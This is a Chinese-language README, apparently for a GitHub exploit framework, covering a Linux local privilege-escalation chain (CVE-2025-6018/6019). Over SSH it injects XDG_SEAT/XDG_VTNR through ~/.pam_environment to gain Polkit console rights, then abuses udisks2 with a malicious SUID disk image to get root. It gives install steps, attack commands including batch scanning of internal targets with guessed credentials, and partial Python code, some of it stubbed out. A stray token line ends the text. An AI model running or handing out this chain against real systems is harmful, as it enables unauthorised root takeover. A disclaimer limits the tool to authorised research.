PAM环境变量注入漏洞利用框架:深入CVE-2025-6018/6019本地提权链

6 阅读4分钟

🛡️ PAM环境下变量注入权限提升漏洞利用框架 (CVE-2025-6018/6019)

本项目是一个专业的本地权限提升漏洞检测与利用框架,针对Linux PAM组件中pam_env.so模块的环境变量注入漏洞(CVE-2025-6018)及其链式提权漏洞(CVE-2025-6019)。通过自动化检测PAM配置缺陷、注入特定环境变量,模拟“本地活动用户”身份以绕过Polkit授权策略,最终利用udisks2的缺陷实现完整的root权限控制。

✨ 功能特性

  • 🔍 自动化漏洞检测
    自动检查PAM版本是否属于受影响范围(1.3.0 - 1.6.0),检测pam_env.sopam_systemd.so在PAM堆栈中的顺序,评估系统Polkit与systemd配置风险。

  • 💣 精准环境变量注入
    通过用户可控的~/.pam_environment文件注入XDG_SEAT=seat0XDG_VTNR=1,欺骗systemd会话管理器,使远程SSH会话被识别为本地控制台会话。

  • ⚡ 链式利用集成
    在获得allow_active Polkit权限后,自动触发CVE-2025-6019(udisks2/libblockdev漏洞),通过挂载恶意构造的磁盘镜像执行SUID二进制文件,完成从普通用户到root的权限提升。

  • 📊 详细审计日志
    内置专业日志系统,记录从漏洞检测、利用尝试到提权成功的完整过程,支持控制台实时输出与文件持久化。

  • 🖥️ 跨发行版兼容
    针对openSUSE Leap 15、SUSE Linux Enterprise 15等主流受影响发行版优化,同时提供对Red Hat/CentOS等衍生系统的扩展检测支持。

📦 安装指南

系统要求

  • Python 3.6+
  • 目标系统:Linux (PAM 1.3.0 - 1.6.0)
  • 本地网络访问权限(用于SSH连接)

依赖项

pip install paramiko>=2.12.0

快速安装

  1. 克隆仓库:
    git clone https://github.com/your-repo/cve-2025-6018-exploit.git
    cd cve-2025-6018-exploit
    
  2. 安装依赖:
    pip install -r requirements.txt
    
  3. 运行检测模式(只扫描不利用):
    python3 cve_2025_6018_professional.py -i 192.168.1.100 -u testuser -p password --check-only
    

🚀 使用说明

基础利用示例

针对单一目标执行完整漏洞利用链(检测 → 提权 → 获取root):

python3 cve_2025_6018_professional.py -i 192.168.1.100 -u john -p 'P@ssw0rd'

参数说明

参数作用
-i目标IP地址
-uSSH用户名
-pSSH密码
--check-only仅执行漏洞检测,不进行利用
--pam-version手动指定PAM版本(跳过自动检测)

典型使用场景

场景1:大规模内网渗透测试

结合-f参数从文件中读取多个目标IP进行批量检测:

python3 cve_2025_6018_professional.py -f targets.txt -u admin -p admin123
场景2:自定义攻击载荷

通过--payload-path指定自定义的SUID payload镜像,用于CVE-2025-6019利用阶段:

python3 cve_2025_6018_professional.py -i 10.0.0.5 -u user -p pass --payload-path ./custom_disk.img

API概览

框架核心类CVEExploit提供了三个主要方法:

方法描述
check_vulnerability(ssh_client)执行系统级漏洞检测,返回布尔值及详细配置报告
inject_pam_environment(ssh_client)写入~/.pam_environment文件,注入攻击载荷
trigger_udisks2_exploit(ssh_client)触发CVE-2025-6019,挂载恶意镜像并提取root权限

🔬 核心代码

漏洞检测与版本识别

该方法通过组合多个系统命令,全面评估目标系统的攻击面。它不仅检测PAM版本是否在受影响列表内,还会定位pam_env.sopam_systemd.so在PAM配置文件中的相对位置——这是确定漏洞可利用性的关键。

def check_vulnerability(self, client):
    """增强型漏洞检测 - 识别PAM版本、模块顺序及systemd状态"""
    logger.info("Starting vulnerability assessment")
    
    checks = {
        "pam_version": "rpm -q pam || dpkg -l | grep libpam",
        "pam_env": "find /etc/pam.d/ -name '*' -exec grep -l 'pam_env' {} \\; 2>/dev/null",
        "pam_systemd": "find /etc/pam.d/ -name '*' -exec grep -l 'pam_systemd' {} \\; 2>/dev/null",
        "systemd_version": "systemctl --version | head -1"
    }

    vulnerable = False
    # 此处实现SSH命令执行、输出解析及版本比对逻辑
    # 若检测到pam_env.so出现在pam_systemd.so之前,判定为可利用状态
    return vulnerable

PAM环境变量注入

该方法是漏洞利用的核心,通过写入用户主目录下的.pam_environment文件,劫持PAM认证流程中的环境变量设置阶段。注入的XDG_SEATXDG_VTNR变量使systemd误判会话类型,从而授予本应仅限于物理控制台的Polkit权限。

def inject_pam_environment(self, ssh_client):
    """
    写入恶意.pam_environment文件
    效果:将当前SSH会话伪装为tty1上的seat0活动会话
    """
    payload = """XDG_SEAT=seat0
XDG_VTNR=1
# 此文件由安全研究工具生成,用于演示CVE-2025-6018
"""
    sftp = ssh_client.open_sftp()
    with sftp.open('/home/user/.pam_environment', 'w') as f:
        f.write(payload)
    logger.info("Successfully injected XDG_SEAT/XDG_VTNR environment variables")
    # 部分系统需要重新登录使配置生效
    ssh_client.exec_command('kill -HUP $(pgrep -u user sshd)')

⚠️ 免责声明

本工具仅用于授权安全测试、漏洞研究与防御实践。未经系统所有者明确许可,利用CVE-2025-6018/6019入侵计算机系统属于违法犯罪行为。开发者不为任何恶意使用或非法目的承担责任。请在隔离的实验环境(如虚拟机、CTF平台)中评估本工具。FINISHED 6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ78oUw/vxiCMfH6H8pu2uX6